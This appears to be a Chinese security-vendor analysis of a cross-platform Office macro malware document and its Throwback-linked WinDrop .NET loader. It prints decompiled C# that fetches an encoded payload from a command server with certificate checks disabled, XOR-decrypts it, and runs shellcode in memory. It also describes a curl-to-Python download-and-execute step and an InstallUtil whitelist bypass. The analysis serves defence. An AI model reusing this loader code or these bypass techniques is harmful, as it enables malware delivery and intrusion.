概述及预警
近日,360公司核心安全部QEX团队和追日团队发现了一种新型的跨平台恶意文档攻击开始流行,并捕获到了该攻击在野外出现的恶意样本。该恶意文档支持跨平台攻击,使用了白利用、无文件和windows安全策略绕过等高端攻击技术。以往的office文档只针对windows操作系统和苹果操作系统分别进行攻击,而最新的攻击样本兼容了两个操作系统,用户无论是在哪个系统打开这个文档,都有可能中招,我们将其命名为“双子星”文档攻击。
攻击影响分析
攻击影响安装了office软件的MacOS和windows系统,目前野外出现了少量恶意样本,暂未出现大规模利用的情况。
攻击形式分析
攻击者利用OFFICE软件的宏功能发起攻击,宏功能一般用作批量处理办公文档,由于其强大的功能也被黑客利用制作恶意文档,但OFFICE软件的宏功能在MacOS上并不被人关注,这个功能在MacOS上也能良好运作。宏功能是默认关闭的,但仍然会有运行安全提示,用户打开文档后,大都会忽略安全提示,直接运行宏导致中招。
新型office恶意样本技术分析
通过对捕获样本分析,我们发现样本使用宏内建的预定义语法对mac和windows平台进行兼容。
MAC攻击分析
如果是mac平台,则通过一行shell脚本执行代码,恶意样本就会从自身定义的文档属性M值中读取预先写好的url。然后使用curl 下载恶意代码,通过管道符传递给Python解释器执行。
由于mac的系统环境内置了python程序,目前这种使用一句话shell脚本执行Python恶意代码的荷载攻击方式,在mac平台上非常流行。
windows攻击分析
如果是windows平台,恶意样本首先会确定处理器构架是X86 还是 X64
然后从文档属性中读取预先准备好的数据
数据其实是2个压缩率为0的zip包,解压后为2个PE,分别对应X86和X64构架使用
为创建的新进程设置父进程为Explorer.exe
并继续从预先设置的文档属性中读取数据,来配置计划任务描述信息
计划任务添加完成后,将受害者机器信息通过post请求返回给控制端。
数据包如下。
安全措施绕过及攻防分析
该样本的执行利用了InstallUtil.exe 来启动 .net 的dll文件,该技巧通常用于绕过applocker 等极其严苛的白名单限制工具策略,同时该样本还使用了x86和x64的两套.net 的dll适配不同系统环境。
从执行的命令行中获取UpdateServer 和 ID 的参数作为变量,然后调用GetFile函数从远程网页中获取查找信息,使用内置的key,调用Crypt函数解密获取的shellcode,最后调用Inject函数在自身内存中执行shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
// WinDrop.Sample public override void Uninstall(IDictionary savedState) { Sample.ShowWindow(Sample.GetConsoleWindow(), 0); string text = (string)this.GetParam("UpdateServer"); string uid = (string)this.GetParam("ID"); if (text.Length == 0) { return; } byte[] file = Tools.GetFile(text, uid); if (file.Length == 0) { return; } byte[] key = new byte[] { 129, 150, 254, 254, 171, 141, 205, 199, 35, 65 }; byte[] array = Tools.Crypt(file, key); if (array[0] != 232) { return; } Tools.Inject(array); } |
GetFile函数从网页中匹配正则表达式"'showandtell'>(.*?)<" ,把获取到的数据用base64解码返回,远控平台支持配置成https格式的并且验证证书有效性,可以阻碍安全工程师排查分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
// WinDrop.Tools public static byte[] GetFile(string path, string uid) { byte[] array = new byte[4096]; HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(path); httpWebRequest.Method = "POST"; httpWebRequest.KeepAlive = false; httpWebRequest.Timeout = 3000; RemoteCertificateValidationCallback arg_53_0; if ((arg_53_0 = Tools.<>c.<>9__3_0) == null) { arg_53_0 = (Tools.<>c.<>9__3_0 = new RemoteCertificateValidationCallback(Tools.<>c.<>9.<GetFile>b__3_0)); } ServicePointManager.ServerCertificateValidationCallback = arg_53_0; httpWebRequest.Proxy.Credentials = CredentialCache.DefaultCredentials; httpWebRequest.Credentials = CredentialCache.DefaultCredentials; string text = "token=" + uid + "&id="; if (IntPtr.Size == 8) { text += "1"; } else { text += "0"; } byte[] bytes = Encoding.UTF8.GetBytes(text); httpWebRequest.ContentType = "application/x-www-form-urlencoded"; httpWebRequest.ContentLength = (long)bytes.Length; int i = 0; while (i < 3) { try { using (Stream requestStream = httpWebRequest.GetRequestStream()) { requestStream.Write(bytes, 0, bytes.Length); } i = 3; } catch { if (i == 0) { httpWebRequest = (HttpWebRequest)WebRequest.Create(path); ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3; } if (i == 1) { httpWebRequest = (HttpWebRequest)WebRequest.Create(path.Replace("https", "http")); } if (i == 2) { return new byte[0]; } httpWebRequest.Method = "POST"; httpWebRequest.ContentType = "application/x-www-form-urlencoded"; httpWebRequest.KeepAlive = false; httpWebRequest.ContentLength = (long)bytes.Length; httpWebRequest.Timeout = 3000; i++; } } byte[] bytes2; using (WebResponse response = httpWebRequest.GetResponse()) { using (Stream responseStream = response.GetResponseStream()) { using (MemoryStream memoryStream = new MemoryStream()) { int num; do { num = responseStream.Read(array, 0, array.Length); memoryStream.Write(array, 0, num); } while (num != 0); bytes2 = memoryStream.ToArray(); } } } Match match = Regex.Match(Encoding.Default.GetString(bytes2), "'showandtell'>(.*?)<"); if (match.Success) { return Convert.FromBase64String(match.Groups[1].Value); } return new byte[0]; } |
解密shellcode的Crypt函数
1 2 3 4 5 6 7 8 9 |
public static byte[] Crypt(byte[] data, byte[] key) { byte[] array = new byte[data.Length]; for (int i = 0; i < data.Length; i++) { array[i] = (data[i] ^ key[i % key.Length]); } return array; } |
执行shellcode的Inject 函数
1 2 3 4 5 6 7 8 9 10 |
public static bool Inject(byte[] shellcode) { IntPtr intPtr = GCHandle.Alloc(shellcode, GCHandleType.Pinned).AddrOfPinnedObject(); uint num; if (Tools.VirtualProtect(intPtr, (UIntPtr)((ulong)((long)shellcode.Length)), 64u, out num)) { ((Tools.SC)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(Tools.SC)))(); } return true; } |
荷载样本关联分析
从样本中我们提取发现了一行pdb信息:
1 |
C:\Users\Nick\Documents\Projects\Throwback\Throwback2.5\WinDrop\obj\x64\Release\WinDrop.pdb |
通过pdb开发信息,我们推测该样本是通过Throwback生成的远控平台的一部分,Throwback是silentbreaksecurity在DEF CON黑客大会 22届的时候公开的使用信标式后门程序(beaconing backdoor),公开的版本是三年前的版本,相信在这三年中这个后门也在进化和添加新的功能,windrop应该就是其中添加的一个新的模块。该样本的C&C和荷载URL于2016年就开始被少量用于攻击,最近的攻击出现在8月24日。
总结
根据以上技术分析,该样本使用的攻防技术比较高端,只在小范围内进行定向攻击测试,但不排除未来会被用于大规模攻击,针对此新型攻击的样本,360安全卫士已在第一时间跟进查杀,请PC用户和MAC用户同时提高警惕,不要打开来路不明的office文档,并使用360安全卫士防御可能的攻击。
本文由 安全周 作者:追梦 发表,转载请注明来源!
您必须[登录] 才能发表留言!